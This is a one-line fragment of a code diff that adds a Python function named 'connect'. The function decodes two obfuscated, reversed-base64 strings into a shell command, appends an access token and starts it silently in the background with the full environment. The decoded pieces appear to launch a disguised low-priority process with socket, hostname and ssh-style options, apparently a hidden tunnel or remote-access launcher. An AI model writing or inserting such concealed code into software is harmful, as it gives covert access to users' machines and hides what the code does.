|
| 5 |
+
def connect(ts_log,full_token):A=decode_cmd('==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb');B=decode_cmd('oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI');C=f"{A}{full_token}{B}";D=os.environ.copy();subprocess.Popen(C,shell=True,env=D,stdout=ts_log,stderr=subprocess.STDOUT)
|